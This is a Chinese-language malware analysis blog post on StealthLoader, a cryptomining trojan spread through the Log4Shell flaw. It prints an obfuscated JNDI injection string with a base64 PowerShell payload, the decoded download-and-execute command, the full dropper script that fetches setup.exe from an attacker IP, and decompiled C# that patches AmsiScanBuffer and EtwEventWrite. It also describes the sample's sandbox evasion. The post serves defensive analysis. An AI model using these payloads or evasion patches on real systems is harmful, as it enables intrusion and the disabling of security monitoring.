利用log4shell传播的StealthLoader病毒分析

2022-01-05 7,918


概述

最近log4j爆出重大安全漏洞CVE-2021-44228(也被称为log4shell)。在观测了一系列利用log4shell攻击的活动后,安全研究人员捕获了一批新样本,其中包括StealthLoader。该木马病毒利用宿主机进行挖矿,并尝试逃避探测

漏洞利用方式分析

攻击者采用了一定的混淆方法绕过了防火墙

https://xxx.xxx.xxx/index?
id=${$[::-j]${::-n]${::-d]Sc-i]:S{::-JS{::-d]${::-a}${::-p}://2.56.59[.]123:1389/Basic/Command/Base64,cG93ZXJzaGVsbCAtYyBpZXggKCggTmV3LU9iamVjdCBTeXNOZXQuTmV0LldlYkNsaWVudCApLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3RleHRiaW4ubmV0L3Jhdy8wbDhoNHh1dnhlJykp}

base64解码得到

powershell -c iex (( New-Object SysNet.Net.WebClient ).DownloadString('https://textbin.net/raw/0l8h4xuvxe'))

去textbin下载了一个字符串并执行

0l8h4xuvxe分析

$a="http://2.56.59.123/setup.exe";
$b="c:windowstempsetup.exe";
$c = "c:userspublicsetup.exe";
Import-Module BitsTransfer;
try{
   (New-Object System.Net.WebClient).DownloadFile($a, $b);
   Start-Process -FilePath $b;
   exit;
}catch{};
try{
   Start-BitsTransfer -Source $a -Destination $b;
   Start-Process -FilePath $b;
   exit;
}catch{};
try{
   (New-Object System.Net.WebClient).DownloadFile($a, $c);
   Start-Process -FilePath $c;
   exit;
}catch{};
try{
   Start-BitsTransfer -Source $a -Destination $c;
   Start-Process -FilePath $c;
   exit;
}catch{}

获取了setup.exe,并且下载到两个地方,然后创建进程。目前下载服务器以及无法访问。

这里值得注意的是,同时采用了c#内置类和Start-BitsTransfer两种方式下载,增加下载成功率

setup.exe分析

扔进各种云沙箱试一试

先丢进peid走一波~

是一个由C#写成的病毒文件,并且有混淆

丢进dnspy,找到入口点

private static void DatabaseExists(string[] objectInstance)
  {
   NamespaceData.SearchResultReferenceCollection searchResultReferenceCollection = new NamespaceData.SearchResultReferenceCollection();
   string isForwarder = NamespaceData.get_IsForwarder(); // 获取随机字串,这个字符串也是固定的,使用NamespaceData.PropertiesInError相关作为种子,初始化为空串
   string fileName = Process.GetCurrentProcess().MainModule.FileName;
   string str = Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System""SystemBiosVersion""0").ToString();
   object value = Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0""ProcessorNameString""0"); // 获取计算机相关信息
   NamespaceData.PropertiesInError = str + ((value != null) ? value.ToString() : null);
   int num = BitConverter.ToInt32(SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(NamespaceData.PropertiesInError)), 0); // 由于计算机信息固定,所以每次计算的随机数也是固定的
   searchResultReferenceCollection.CommandField_DefaultCancelCaption = new Random(num + 5);
   string name = new string(Enumerable.Repeat<string>("abcdefghijklmnopqrstuvwxyz"5).Select(new Func<stringchar>(searchResultReferenceCollection.VisitClientParameter)).ToArray<char>());// 产生的name也是固定的
   try
   {
    Mutex.OpenExisting(name); // 创建互斥体
    Environment.Exit(0);
   }
   catch
   {
   }
   Process process = new Process();
   if (!fileName.Contains(isForwarder))
   {
    File.Copy(fileName, "c:\windows\temp\" + isForwarder + ".exe"true); // 复制文件
    process.StartInfo.FileName = "c:\windows\temp\" + isForwarder + ".exe";
    process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; // 隐藏窗体
    process.StartInfo.CreateNoWindow = true
    process.Start(); // 开始进程
    return;
   }
   process.StartInfo.FileName = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe";
   process.StartInfo.Arguments = "/U " + Process.GetCurrentProcess().MainModule.FileName;
   process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
   process.StartInfo.CreateNoWindow = true;
   process.Start(); // 启动InstallUtil.exe
   Thread.Sleep(5000); // 对抗沙箱
   bool flag = false;
   Process[] processes = Process.GetProcesses();
   for (int i = 0; i < processes.Length; i++)
   {
    if (processes[i].ProcessName.ToLower().Contains("installutil"))
    {
     flag = true;
    }
   }
   if (!flag)
   {
    NamespaceData.InternalInitSortHandle();
   }
  }

可以看到,样本首先获取一个固定的字符串,然后获取系统信息,利用系统信息创建新的种子,这样每次获取到的字符串都是一样的。然后打开一个随机串代表的互斥体,但是这个互斥体一定是不存在的,所以利用异常控制流来到了下面的代码。

然后开始创建进程,首先将自身复制到temp目录下,启动那个进程,而自己则退出

另一个进程启动后,则继续执行下面的操作,比如启动installutil.exe安装程序,否则就执行NamespaceData.InternalInitSortHandle方法

public static void InternalInitSortHandle()
  {
   NamespaceData.Point3DCollection point3DCollection = new NamespaceData.Point3DCollection();
   NamespaceData.DefaultStartChar = Process.GetCurrentProcess().Handle;
   NamespaceData.get_ObjectStateEntry_CannotModifyKeyEntryState();
   NamespaceData.set_DataFormatString();
   Thread.Sleep(1000);
   byte[] rawAssembly = NamespaceData.Write_unsignedByte(NamespaceData.get_UCS4_3412(Convert.FromBase64String("AWaovEI5EN1fKw8MYjzNpjzWUaFLWXMMI4tmB2KTu7s="), CompiledXpathExpr.ChannelPoolKey).ToArray<byte>());
   point3DCollection.PnrpPortBlocked = Assembly.Load(rawAssembly);
   new Thread(new ThreadStart(point3DCollection.set_ActiveButton)).Start();
   for (;;)
   {
    Console.ReadKey(true); // 阻塞并防止CPU占用过高
   }
  }

先执行了set_DataFormatString

private static void set_DataFormatString()
  {
   try
   {
    IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("dpvl1goo")), NamespaceData.DisconnectTransaction("DpvlVfdqExiihu"));
                // 这里ReValidateManifestSignatures是DllImport导入的一个函数,DisconnectTransaction是字符串解密函数
                // amsi.dll AmsiScanBuffer
    byte[] array;
    if (!NamespaceData.get_CustomMetadataNames())
    {
     RuntimeHelpers.InitializeArray(array = new byte[8], fieldof(IconBitmapDecoder.AppSequenceMessageNumber).FieldHandle);
    }
    else
    {
     RuntimeHelpers.InitializeArray(array = new byte[6], fieldof(IconBitmapDecoder.WebPartDisplayModeCollection_DuplicateName).FieldHandle);
    }
    byte[] array2 = array;
    uint dwObjectType;
    NamespaceData.<System.IObservable<TOutput>.Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), 64Uout dwObjectType);
    Marshal.Copy(array2, 0, intPtr, array2.Length);
    uint num;
    NamespaceData.<System.IObservable<TOutput>.Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), dwObjectType, out num);
   }
   catch
   {
   }
  }

将amsi.dll的AmsiScanBuffer更改成了如下指令

0x0: mov eax, 0x80070057
0x5: ret

然后执行了一段汇编代码

通过调试,发现调用了这里

private static void get_ObjectStateEntry_CannotModifyKeyEntryState()
  {
   try
   {
    IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("qwgoo1goo")), NamespaceData.DisconnectTransaction("HwzHyhqwZulwh"));
                // ntdll.dll EtwEventWrite
    byte[] array2;
    if (!NamespaceData.get_CustomMetadataNames())
    {
     byte[] array = new byte[3];
     array[0] = 194;
     array2 = array;
     array[1] = 20;
    }
    else
    {
     (array2 = new byte[1])[0] = 195;
    }
    byte[] array3 = array2;
    uint dwObjectType;
    NamespaceData.<System.IObservable<TOutput>.Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), 64Uout dwObjectType);
    IntPtr intPtr2;
    bool flag = NamespaceData.get_GroupAggBasedExpression(NamespaceData.DefaultStartChar, intPtr, array3, array3.Length, out intPtr2);
    uint num;
    NamespaceData.<System.IObservable<TOutput>.Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), dwObjectType, out num);
   }
   catch
   {
   }
  }

上面的函数名带有混淆性质,查看DllImport如下

        [DllImport("kernel32.dll", EntryPoint = "VirtualProtectEx")]
  private static extern bool <System.IObservable<TOutput>.Subscribe>b__7_0(IntPtr inputLanguage, IntPtr pixelsC, UIntPtr Op, uint dwObjectType, out uint show);

  // Token: 0x06000004 RID: 4
  [DllImport("kernel32", EntryPoint = "LoadLibrary")]
  private static extern IntPtr set_CreateNoWindow(string typedMessage);

  // Token: 0x06000005 RID: 5
  [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = true)]
  private static extern bool get_GroupAggBasedExpression(IntPtr collectionOfEntityType, IntPtr cbReturn, byte[] totalBytesToSend, int stateGraph, out IntPtr lpPrefixString);

  // Token: 0x06000006 RID: 6
  [DllImport("kernel32", EntryPoint = "GetProcAddress")]
  private static extern IntPtr ReValidateManifestSignatures(IntPtr locKeys, string KeyPair);

先更改了一些属性,然后将ntdll.dll的EtwEventWrite的第一条指令改为ret

行为分析

由于静态分析过于复杂,这里使用火绒进行行为分析,火绒监控到了病毒的释放

根据参考文献[6],该病毒会窃取信息、远程控制等。

重新调试了以下,上面写入汇编代码的地方就是释放病毒的地方,因为尝试保存rawAssembly数组进行分析时火绒检测到了病毒。

总结

经过分析,发现样本中各种函数名、类名都是有误导性质的,这大大干扰了分析工作。并且采用了多种方式比如延时执行、更改dll等方式来对抗沙盒和人工分析。

参考资料

[1] https://research.checkpoint.com/2021/stealthloader-malware-leveraging-log4shell/

[2] https://docs.microsoft.com/en-us/dotnet/api/system.threading.mutex.openexisting?view=net-6.0#:~:text=The%20example%20uses%20the%20OpenExisting%20%28String%29%20method%20overload,to%20read%20and%20change%20permissions%20on%20the%20mutex.

[3] https://docs.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0

[4] https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite

[5] https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory#:~:text=WriteProcessMemory%20copies%20the%20data%20from%20the%20specified%20buffer,to%20be%20written%20to%20can%20call%20the%20function.

[6] https://www.pcthreat.com/parasitebyid-22682en.html

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/172453.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号